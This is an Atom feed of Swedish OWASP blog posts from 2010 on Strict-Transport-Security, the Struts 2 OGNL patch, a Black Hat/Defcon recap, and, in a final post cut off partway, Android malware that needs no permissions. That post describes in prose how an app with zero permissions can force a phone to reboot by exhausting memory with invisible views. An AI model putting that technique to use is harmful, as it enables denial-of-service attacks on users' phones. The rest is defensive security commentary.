href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=746725983491108373' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/746725983491108373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/746725983491108373'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/08/saker-interaktionsdesign.html' title='Säker interaktionsdesign'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-7381732645391594855</id><published>2010-08-21T22:58:00.006+02:00</published><updated>2010-08-30T09:41:38.471+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='STS'/><category scheme='http://www.blogger.com/atom/ns#' term='NoScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='Strict-Transport-Security'/><title type='text'>Säkrare SSL med Strict-Transport-Security</title><content type='html'>&lt;div&gt;En riktig säkerhetssnackis har varit &lt;i&gt;&lt;a href="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02"&gt;Strict-Transport-Security&lt;/a&gt;&lt;/i&gt; (STS) som motmedel mot ett flertal av de &lt;i&gt;man-in-the-middle&lt;/i&gt;-attacker som presenterats mot SSL/HTTPS. Nu var det till och med tema i veckans &lt;a href="http://www.grc.com/securitynow.htm"&gt;Steve Gibson-podcast "&lt;i&gt;Security Now!&lt;/i&gt;"&lt;/a&gt; så det är hög tid att skriva om det här.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Användarna accepterar varningar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Vem har inte sett sin webbläsare varna för ett felaktigt SSL-cert? Och vem har inte klickat vidare i övertygelse om att det ligger slarv bakom, dvs att driften inte köpt och driftsatt nytt cert i tid?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Jag har faktiskt bara träffat en IT-människa som verkligen bromsat in vid den där varningssidan och han var inte någon säkerhetskille. Det var en utvecklare "på andra sidan" mitt projekt som mejlade oss och cc:ade beställare och chefer för att påtala denna "&lt;i&gt;show stopper&lt;/i&gt;". Han skulle göra ett anrop till vår testmiljö där vi självklart inte körde med ett skarpt cert. Vi fick mejla honom plus alla chefer och förklara att han fick göra ett säkerhetsundantag.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Men om vi bortser från denna enda person så är beteendet där ute att klicka sig förbi varningen. Folk i gemen har vant sig vid att webbsidor kan orsaka varningar men fungera bra. Så vad säger att internetbanken inte ska kunna uppvisa en sån varning? Vips så har vi sänkt ribban rejält för &lt;i&gt;man-in-the-middle&lt;/i&gt;. Attackeraren behöver inte skapa ett SSL-cert signerat av en godkänd CA om offret ändå godkänner hans/hennes fulcert.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Strict-Transport-Security lovar "Inga fulcert"&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Idén bakom Strict-Transport-Security är att webbservern kan publicera en header som säger:&lt;/div&gt;&lt;div&gt;"Jag levererar bara sidor över https och garanterar att jag inte kommer köra med ett ogiltigt certifikat. Om du skulle få svar på den här adressen med ett ogiltigt certifikat så ska du på inga villkor tillåta användaren att klicka sig vidare. Detta gäller i X sekunder framåt."&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Formellt ser svaret från servern ut så här (verkligt exempel från &lt;a href="https://www.paypal.com/se"&gt;https://www.paypal.com/se&lt;/a&gt;):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;shell&gt; curl -i https://www.paypal.com/se&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;HTTP/1.1 200 OK&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Date: Sat, 21 Aug 2010 19:47:14 GMT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Server: Apache&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Cache-Control: private&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Pragma: no-cache&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Expires: Thu, 05 Jan 1995 22:00:00 GMT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Set-Cookie: [snip/]; domain=.paypal.com; path=/; Secure; HttpOnly&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;(... fler cookies ...)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  ;font-family:'courier new';font-size:small;"&gt;Vary: Accept-Encoding&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Strict-Transport-Security: max-age=500&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Transfer-Encoding: chunked&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Content-Type: text/html; charset=UTF-8&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Servern kan också lägga till information om att regeln ska gälla alla subdomäner. Grammatiken ser ut så här:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Strict-Transport-Security = &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        "Strict-Transport-Security" ":" "max-age" "=" delta-seconds [ ";" "includeSubDomains" ]&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Webbläsaren tillåter inga fulcert&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Grunden till STS-funktionen är att en STS-medveten webbläsare (just nu bara Chrome och Firefox med &lt;a href="http://noscript.net/"&gt;NoScript&lt;/a&gt;) måste avbryta kommunkationen med en STS-sajt om certifikatet är ogiltigt. Det får inte finnas en chans för användaren att klicka sig förbi någon sorts varning. Tuffa tag helt enkelt.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ett annat krav på en webbläsare som förstår STS är att den automatiskt gör om alla HTTP-anrop till HTTPS-anrop om det är en STS-sajt med giltig tidsstämpel. Det hindrar attacker i stil med &lt;a href="http://www.thoughtcrime.org/software/sslstrip/"&gt;SSLStrip&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Webbläsaren noterar servern som STS&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;När en STS-medveten webbläsare får en STS-header så måste den:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Lägga till servern till sin lista över kända STS-servrar&lt;/li&gt;&lt;li&gt;Uppdatera informationen om &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;max-age&lt;/span&gt; och &lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;includeSubDomains&lt;/span&gt; om dessa fält skiljer sig från vad som sparats tidigare för den servern&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Om webbläsaren får en HTML-kodad HTTP-header med STS, t ex ...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&amp;lt;META HTTP-EQUIV="Strict-Transport-Security" VALUE="max-age:0"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;... så får den taggen inte användas. Annars skulle en attackerare kunna injicera STS-direktiv.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;b&gt;Server-konfiguration&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Om man överväger att använda STS på sin server så är det några saker man ska tänka igenom.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Först är förstås hur bra man är på att sköta sina SSL-certifikat eftersom en STS-sajt helt enkelt inte kommmer att fungera om certet är ogiltigt. Har man ett kalendarium? Som fler än en person har ansvar för? Med rutiner som fortfarande funkar om tre år när certet går ut? Jag har mött alltför många organisationer som har dåligt samvete över sin obefintliga hantering av SSL-certifikat.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Sen måste man bestämma sig för en strategi för tidsstämplarna. Ska man alltid svara med ett fast tidsspann, t ex en vecka eller ska man svara med antal sekunder kvar tills certet går ut?&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Svenska internetbanker kör inte STS. Än.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;OK, tämligen få webbläsare har ännu stöd för STS men inget hindrar seriösa tjänsteleverantörer att implementera STS på sina HTTPS-servrar. Jag kollade de fyra stora internetbankerna. Ingen av dem kör STS. Än.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Tomma resultat för följande curl-anrop:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;curl -i https://internetbank.&lt;b&gt;swedbank.se&lt;/b&gt;/SecurityServer/SecurityServer | grep "Strict-Transport-Security"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;curl -i https://internetbanken.privat.&lt;b&gt;nordea.se&lt;/b&gt;/nsp/engine | grep "Strict-Transport-Security"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;curl -i https://taz.vv.&lt;b&gt;sebank.se&lt;/b&gt;/cgi-bin/pts3/wow/wo10.c1010.f001?I= | grep "Strict-Transport-Security"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;curl -i https://secure.&lt;b&gt;handelsbanken.se&lt;/b&gt;/bb/glss/servlet/prelogon?id=seprivsv | grep "Strict-Transport-Security"&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-7381732645391594855?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/7381732645391594855/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=7381732645391594855' title='8 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7381732645391594855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/7381732645391594855'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/08/sakrare-ssl-med-strict-transport.html' title='Säkrare SSL med Strict-Transport-Security'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-4970046331096701704</id><published>2010-08-17T23:13:00.003+02:00</published><updated>2010-08-17T23:18:09.291+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Struts 2'/><title type='text'>Struts 2.2.1 släppt</title><content type='html'>Äntligen har Apache släppt &lt;a href="http://struts.apache.org/download.cgi#struts221"&gt;Struts 2.2.1&lt;/a&gt; med patchen för &lt;a href="http://owaspsweden.blogspot.com/2010/07/remote-execution-i-struts-2.html"&gt;säkerhetshålet jag skrev om tidigare&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;På projektets &lt;a href="http://struts.apache.org/announce.html"&gt;sida för offentliggöranden&lt;/a&gt; står att läsa:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;The Apache Struts group is pleased to announce that Struts 2.2.1 is available as a "General Availability" release. The GA designation is our highest quality grade.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;(...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;This release includes a number of new features and bug fixes since the 2.1.8.1 GA release, including important security fixes regarding remote server context manipulation by injecting OGNL expressions in request parameters.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-4970046331096701704?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/4970046331096701704/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=4970046331096701704' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4970046331096701704'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/4970046331096701704'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/08/struts-221-slappt.html' title='Struts 2.2.1 släppt'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8377180603493503004</id><published>2010-08-17T22:38:00.005+02:00</published><updated>2010-08-18T10:58:22.350+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RSA'/><category scheme='http://www.blogger.com/atom/ns#' term='Black Hat'/><category scheme='http://www.blogger.com/atom/ns#' term='iPhone'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><category scheme='http://www.blogger.com/atom/ns#' term='Defcon'/><title type='text'>Sammanfattning Black Hat och Defcon</title><content type='html'>Tillbaka till Sverige.&lt;br /&gt;Tillbaka till jobbet.&lt;br /&gt;Tillbaka till verkligheten.&lt;br /&gt;Eller var det verkligheten vi lämnade i Vegas och bubblan vi återkommit till?&lt;br /&gt;&lt;br /&gt;Här är mina intryck från världens största säkerhetskonferenser – Black Hat USA och Defcon.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;"&gt;Allt kan och ska hackas&lt;/span&gt;&lt;br /&gt;Mina kollegor Michael Boman, Marcus Hartwig, Peter Swedin och jag träffade en hel del intressanta människor under de två konferenserna. En av dem – Jesse Ou från Cigital – sammanfattade intrycken väl: – &lt;span style="font-style: italic;"&gt;It's all depressing, isn't it?! Everything gets hacked.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Black Hat är tämligen kommersiellt medan Defcon känns som en gräsrotsrörelse. Samtidigt har de ett gemensamt tema – allt kan och ska hackas. Känslan på Black Hat var att hacken syftade till att höja medvetenheten och på sikt säkerheten. Känslan på Defcon var snarare att det var coolt att knäcka system, punkt.&lt;br /&gt;&lt;br /&gt;Hur som helst så &lt;span style="font-style: italic;"&gt;är&lt;/span&gt; listan på de säkerhetshack som presenterades &lt;span style="font-style: italic;"&gt;&lt;/span&gt;tämligen deprimerande:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=qwMuMSPW3bU"&gt;Bankomater hackades (video)&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://securityblog.omegapoint.se/2010/08/skrack-och-varnagel-kerberos-ar-sarbart.html"&gt;Kerberos på Windows hackades&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/08/android-malware-utan-permissions.html"&gt;Android hackades&lt;/a&gt; ... &lt;a href="http://www.computerworld.com/s/article/9179863/_Unhackable_Android_can_be_hacked_Black_Hat_researchers_say"&gt;flera gånger om&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=8GC7lqjJU6s"&gt;iPhone:s och Androids webbläsare hackades (video)&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;GSM hackades&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/07/remote-execution-pa-websphere.html"&gt;IBM WebSphere hackades&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/07/php-sessioner-sarbara.html"&gt;PHP hackades&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://owaspsweden.blogspot.com/2010/07/loki-nytt-verktyg-for-layer-3-attacker.html"&gt;Diverse &lt;span style="font-style: italic;"&gt;network management&lt;/span&gt;-protokoll hackades&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Smarta kort med Atmel-chip hackades&lt;/li&gt;&lt;li&gt;Så kallade &lt;span style="font-style: italic;"&gt;Grade 1&lt;/span&gt;-säkerhetslås knäcktes, &lt;a href="http://www.youtube.com/watch?v=1KS7nbHIRcY"&gt;t ex finska ILOQ (video)&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Privata RSA-nycklar hackades ... på veckor med en desktopdator! Jag har jagat presentatören som tusan eftersom det nog var det mest skrämmande vi såg. Men det var en presentation i ett separat rum utanför den vanliga agendan. Hittills inga svar.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;font-family:arial;"&gt;Säkerhet i två världar&lt;/span&gt;&lt;br /&gt;Det bestående intrycket är att IT-säkerhet är uppdelat i två världar.&lt;br /&gt;&lt;br /&gt;Värld nummer ett där de flesta av oss arbetar. I den världen så betyder säkerhetsfunktioner, säkerhetsregler, säkerhetsrutiner och säkerhetsprinciper allt. Under sådan flagg säljer vi kunskap och system för att bygga och upprätthålla säkerhet.&lt;br /&gt;&lt;br /&gt;Värld nummer två där en del av oss tillbringar fritiden men de flesta är åskådare. I den världen så kringgås säkerhetsfunktioner, säkerhetsregler, säkerhetsrutiner och säkerhetsprinciper konsekvent. Men där finns inga pengar att tjäna om man vill vara på rätt sida om lagen.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;"&gt;Vilken säkerhet efterfrågas?&lt;/span&gt;&lt;br /&gt;Den säkerhet som kunder efterfrågar och säkerhetsföretag säljer har ganska lite att göra med hur system hackas. Hackerkulturen går ut på att inte acceptera specifikationer och garantier utan istället undersöka sanningen och röka ut säkerhetshålen som alltid finns där.&lt;br /&gt;&lt;br /&gt;OWASP befinner sig i ett mellanläge. Med säkerhet i applikationsutveckling försöker man undvika att utgöra lågt hängande frukt. OWASP Top 10 ger tips om vanliga risker och misstag. OWASP ESAPI ger byggklossar för bättre säkerhetsfunktioner i webbsystem.&lt;br /&gt;&lt;br /&gt;Men om vi efterfrågar riktig säkerhet så finns i dagsläget ingen annan väg framåt än tidskrävande, explorativ säkerhetstestning. Och det är det ingen som håller på med.&lt;br /&gt;&lt;br /&gt;Förutom de som presenterar på hackerkonferenser förstås.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8377180603493503004?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8377180603493503004/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8377180603493503004' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8377180603493503004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8377180603493503004'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/08/sammanfattning-black-hat-och-defcon.html' title='Sammanfattning Black Hat och Defcon'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-8397613075550891904</id><published>2010-08-04T10:54:00.004+02:00</published><updated>2010-08-04T11:11:26.996+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Struts 2'/><title type='text'>Fortfarande ingen patchad Struts 2</title><content type='html'>Apache-folket har skippat Struts 2.2.0 och &lt;a href="http://old.nabble.com/-VOTE--Struts-2.2.1-Vote-to29193940.html"&gt;röstar sen 17 juli om version 2.2.1&lt;/a&gt; och ingen har sagt något där på 2,5 veckor. Under tiden är hundratals svenska webbapplikationer antagligen vidöppna för hack. Testbygge för 2.2.1 &lt;a href="http://people.apache.org/builds/struts/2.2.1/"&gt;finns&lt;/a&gt;. Temporär fix har jag publicerat &lt;a href="http://owaspsweden.blogspot.com/2010/07/remote-execution-i-struts-2.html"&gt;här&lt;/a&gt;.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Senaste releasen av Struts 2 är från september 2009. Kanske har den långa tiden kastat grus i release-maskineriet? Philip Luppens i teamet kommenterar det i alla fall så här:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;i&gt;"Guys, can we please get some more votes in? I cannot understand we cannot &lt;/i&gt;&lt;i&gt;push out a simple release when all the work has been done ..."&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-8397613075550891904?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/8397613075550891904/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=8397613075550891904' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8397613075550891904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/8397613075550891904'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2010/08/fortfarande-ingen-patchad-struts-2.html' title='Fortfarande ingen patchad Struts 2'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2924370364030731938</id><published>2010-08-01T00:50:00.002+02:00</published><updated>2010-08-01T00:59:06.761+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='permissions'/><category scheme='http://www.blogger.com/atom/ns#' term='Android'/><title type='text'>Android-malware utan permissions</title><content type='html'>Anthony Lineberry, David Richardson och Tim Wyatt höll en grymt intressant presentation och demo om Android-säkerhet. Otroligt hur de kunde kringå alla begränsningar som egentligen ska finnas för appar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Lite om Androids säkerhets- och processmodell&lt;/span&gt;&lt;br /&gt;Varje Android-app har en &lt;span style="font-family: courier new;"&gt;AndroidManifest.xml&lt;/span&gt; som deklarerar&lt;br /&gt;pakettillhörighet, komponenter och tillstånd (&lt;span style="font-style: italic;"&gt;permissions&lt;/span&gt;) som appen behöver på mobilen.&lt;br /&gt;&lt;br /&gt;En körande app är en aktivitet som ligger på aktivitetsstacken. Aktiviteten på toppen är den som kör, de andra är i pausläge.&lt;br /&gt;&lt;br /&gt;En applikation kan starta andra appar som då körs i appens process. Anroparen har dock inte alltid tillgång till den startade aktivitetens data eller tillstånd.&lt;br /&gt;&lt;br /&gt;När man laddar ner en app från &lt;span style="font-style: italic;"&gt;Google Market&lt;/span&gt; så får man först reda på vilka tillstånd den kräver. På det viset kan användaren undvika skumma appar. Men om appen inte kräver några tillstånd så laddas den hem direkt. Det låter intressant – vad kan en attackerare göra med noll tillstånd?&lt;br /&gt;&lt;br /&gt;En hel del!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Reboot utan tillstånd&lt;/span&gt;&lt;br /&gt;En app utan tillstånd får inte anropa &lt;span style="font-family: courier new;"&gt;REBOOT&lt;/span&gt;. Men det går att tömma ut Androids minnesresurser och tvinga fram en ombootning. Genom att skapa osynliga &lt;span style="font-style: italic;"&gt;views&lt;/span&gt;. Efter 2001 st &lt;span style="font-style: italic;"&gt;views&lt;/span&gt; som alla skapar globala referenser så får telefonen en &lt;span style="font-family: courier new;"&gt;SIGSEGV&lt;/span&gt; och bootar om.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Starta automatiskt vid 